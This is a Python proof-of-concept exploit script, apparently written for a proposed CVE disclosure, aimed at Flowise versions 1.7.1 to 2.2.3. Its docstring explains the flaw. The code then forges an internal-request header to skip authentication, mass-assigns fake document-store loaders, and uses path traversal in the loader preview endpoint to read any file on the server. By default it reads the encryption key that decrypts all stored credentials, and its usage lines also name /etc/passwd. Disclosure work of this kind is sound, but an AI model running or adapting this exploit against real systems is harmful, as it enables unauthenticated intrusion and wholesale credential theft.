#!/usr/bin/env python3 """ Flowise — unauthenticated arbitrary file READ via the document-store loader rehydrate path (getFileFromStorage) — NEW / proposed CVE (distinct from CVE-2025-71338). PRIMITIVE --------- `packages/components/src/storageUtils.ts::getFileFromStorage(file, ...paths)` joins BOTH the `file` argument and the `...paths` argument onto the storage root with **no sanitization**: const fileInStorage = path.join(getStoragePath(), ...paths, file) // file & paths RAW return fs.readFileSync(fileInStorage) // contents returned `file` is attacker-controlled: it is a document-store loader "file" name that the server re-reads when a loaderConfig value uses the `FILE-STORAGE::` marker (the "rehydrate" path in services/documentstore::_normalizeFilePaths). The gate is that the store's `loaders[]` must contain a matching file entry — which the attacker forges via a **mass-assignment** on `PUT /api/v1/document-store/store/:id` (updateDocumentStore does `Object.assign(entity, body)` with no `loaders` allow-list). The file contents come straight back in the `/loader/preview` response, so the read is self-proving over HTTP. No file is written. 1. POST /api/v1/document-store/store -> storeId (normal uuid) 2. PUT /api/v1/document-store/store/:storeId -> forge loaders[].files[].name = 3. POST /api/v1/document-store/loader/preview -> loaderConfig.txtFile = FILE-STORAGE::[""] -> previewChunks -> _normalizeFilePaths -> getFileFromStorage(, 'docustore', storeId) -> file contents returned as chunks[].pageContent AUTH: on a stock deploy (<= 2.x) the /api/v1 guard admits any request carrying the forgeable header `x-request-from: internal` (FLOWISE_USERNAME/PASSWORD unset). PR:N. AFFECTED: getFileFromStorage `file` operand unsanitized in Flowise 1.7.1 - 2.2.3. (flowise@1.7.0 was never published to npm; 1.7.1 is the first published release containing the document-store rehydrate path that reaches this sink.) FIXED : 2.2.4 (getFileFromStorage sanitizes the filename). 3.x also removes the header bypass. Confirmed against the published npm artifacts: flowise-components@2.2.3 `const fileInStorage = path.join(getStoragePath(), ...paths, file)` (raw); @2.2.4 sanitizes. IMPACT: unauthenticated read of any file the Flowise process (root, official image) can read — including /root/.flowise/encryption.key, the AES key that decrypts every stored credential (LLM API keys, vector-DB creds, cloud creds) in database.sqlite -> full credential compromise. Contract: pure network exploit, HTTP + stdlib only. `read_file()` returns the exfiltrated bytes in-band (self-proving). No target-side access, no listener needed. Usage: python3 poc.py http://TARGET:PORT --read-path /root/.flowise/encryption.key python3 poc.py http://TARGET:PORT --read-path /etc/passwd """ import argparse import json import sys import urllib.error import urllib.request import uuid INTERNAL_HEADER = {"x-request-from": "internal"} TRAVERSAL_DEPTH = 12 FIRST_AFFECTED = (1, 7, 1) # 1.7.0 never published to npm; 1.7.1 is first affected FIRST_FIXED = (2, 2, 4) # getFileFromStorage gains sanitizedFilename def _request(method, url, body=None, headers=None, timeout=20): data = None hdrs = dict(headers or {}) if body is not None: data = json.dumps(body).encode() hdrs["Content-Type"] = "application/json" req = urllib.request.Request(url, data=data, headers=hdrs, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as resp: return resp.status, resp.read().decode("utf-8", "replace"), None except urllib.error.HTTPError as exc: return exc.code, exc.read().decode("utf-8", "replace"), None except Exception as exc: return None, "", "%s: %s" % (type(exc).__name__, exc) def _api(target, method, path, body=None, timeout=20, authed=True): return _request(method, target.rstrip("/") + path, body, dict(INTERNAL_HEADER) if authed else {}, timeout) def _parse_version(text): try: return tuple(int(p) for p in json.loads(text)["version"].split(".")[:3]) except Exception: return None def _traversal_to(abs_path, depth=TRAVERSAL_DEPTH): return "/" + "../" * depth + abs_path.lstrip("/") def detect(target): info = {} s, b, _ = _api(target, "GET", "/api/v1/ping", authed=False, timeout=10) info["reachable"] = s == 200 s, b, _ = _api(target, "GET", "/api/v1/version", timeout=10) ver = _parse_version(b) if s == 200 else None info["version"] = b.strip()[:40] if s == 200 else None info["version_tuple"] = ver info["in_affected_range"] = None if ver is None else FIRST_AFFECTED <= ver < FIRST_FIXED with_h, _, _ = _api(target, "GET", "/api/v1/document-store/store", timeout=10) without_h, _, _ = _api(target, "GET", "/api/v1/document-store/store", authed=False, timeout=10) info["unauth_surface_open"] = with_h == 200 info["auth_control_enforcing"] = without_h == 401 print("[*] detect: version=%s in_affected_range=%s unauth_surface_open=%s" % (info["version"], info["in_affected_range"], info["unauth_surface_open"])) if ver is not None and ver >= FIRST_FIXED: print("[!] version %s >= 2.2.4 — getFileFromStorage is sanitized; the read is confined " "(expected NOT-EXPLOITABLE)." % ".".join(map(str, ver))) return info def read_file(target, read_path, version_tuple=None, depth=TRAVERSAL_DEPTH, timeout=30): run_id = uuid.uuid4().hex[:16] out = [] result = {"success": False, "not_exploitable": False, "run_id": run_id, "read_path": read_path, "contents": None, "output": out, "error": None} if version_tuple is not None and version_tuple >= FIRST_FIXED: result["not_exploitable"] = True result["error"] = ("target version %s >= 2.2.4 — getFileFromStorage sanitizes the filename; " "NOT exploitable" % ".".join(map(str, version_tuple))) out.append(result["error"]); return result # 1. create a document store (normal server-generated id; traversal rides in `file`) s, b, err = _api(target, "POST", "/api/v1/document-store/store", {"name": "rd-%s" % run_id, "description": "rd-%s" % run_id}, timeout=20) if s != 200: result["error"] = "create store failed: status=%s err=%s body=%s" % (s, err, b[:200]) out.append(result["error"]); return result try: store_id = json.loads(b)["id"] except Exception as exc: result["error"] = "create store: unparsable response (%s): %s" % (exc, b[:200]) out.append(result["error"]); return result out.append("created document store %s" % store_id) traversal = _traversal_to(read_path, depth) # 2. forge loaders[].files[] via updateDocumentStore mass assignment (Object.assign). # NOTE: some releases throw 500 while serializing the response AFTER merge()+save() # persists the row, so a non-200 here is NOT fatal — the preview below is the oracle. loaders = [{ "id": "L-%s" % run_id, "loaderId": "textFile", "loaderName": "Text File", "loaderConfig": {}, "splitterId": "", "splitterConfig": {}, "files": [{"id": "f-%s" % run_id, "name": traversal, "mimePrefix": "text/plain", "size": 1, "status": "NEW"}], "totalChunks": 0, "totalChars": 0, "status": "NEW", }] quoted = urllib.request.quote(str(store_id), safe="") s, b, err = _api(target, "PUT", "/api/v1/document-store/store/%s" % quoted, {"loaders": json.dumps(loaders)}, timeout=20) out.append("PUT store (forge loaders via mass assignment) -> status=%s " "(non-200 tolerated: save precedes response serialization)" % s) if s is None: result["error"] = "forge PUT unreachable: %s" % err out.append(result["error"]); return result # 3. trigger the rehydrate read via FILE-STORAGE:: and read the contents from the response preview = { "storeId": store_id, "id": "L-%s" % run_id, "loaderId": "textFile", "loaderName": "Text File", "loaderConfig": {"txtFile": 'FILE-STORAGE::["%s"]' % traversal, "textSplitter": "", "metadata": "", "omitMetadataKeys": ""}, "splitterId": "", "splitterConfig": {}, "previewChunkCount": 50, "preview": True, } s, b, err = _api(target, "POST", "/api/v1/document-store/loader/preview", preview, timeout=timeout) out.append("POST /loader/preview (rehydrate -> getFileFromStorage) -> status=%s" % s) if s != 200: # a fixed target confines the read and 500s with ENOENT on the sanitized path result["not_exploitable"] = True result["error"] = "preview status=%s (read confined/blocked -> likely fixed): %s" % (s, b[:200]) out.append(result["error"]); return result try: chunks = json.loads(b).get("chunks", []) contents = "".join(c.get("pageContent", "") for c in chunks) except Exception as exc: result["error"] = "unparsable preview response (%s): %s" % (exc, b[:300]) out.append(result["error"]); return result if not contents: result["not_exploitable"] = True result["error"] = "no content returned — file empty/absent or sink confined (fixed)" out.append(result["error"]); return result result["contents"] = contents result["success"] = True out.append("EXFILTRATED %d bytes of %s" % (len(contents), read_path)) return result def main(): p = argparse.ArgumentParser( description="Flowise <= 2.2.3 unauthenticated arbitrary file READ (getFileFromStorage)") p.add_argument("target_url", help="e.g. http://127.0.0.1:3000") p.add_argument("--read-path", default="/root/.flowise/encryption.key", help="absolute path to exfiltrate (default: the credential-decryption key)") p.add_argument("--traversal-depth", type=int, default=TRAVERSAL_DEPTH) p.add_argument("--skip-detect", action="store_true") args = p.parse_args() ver = None if not args.skip_detect: try: ver = detect(args.target_url).get("version_tuple") except Exception as exc: print("[!] detect raised %s: %s (continuing)" % (type(exc).__name__, exc)) r = read_file(args.target_url, args.read_path, version_tuple=ver, depth=args.traversal_depth) print(json.dumps({k: v for k, v in r.items() if k != "contents"}, indent=2)) if r["success"]: print("\n===== EXFILTRATED CONTENTS OF %s =====" % args.read_path) print(r["contents"]) print("===== END =====") sys.exit(0 if r["success"] else 1) if __name__ == "__main__": main()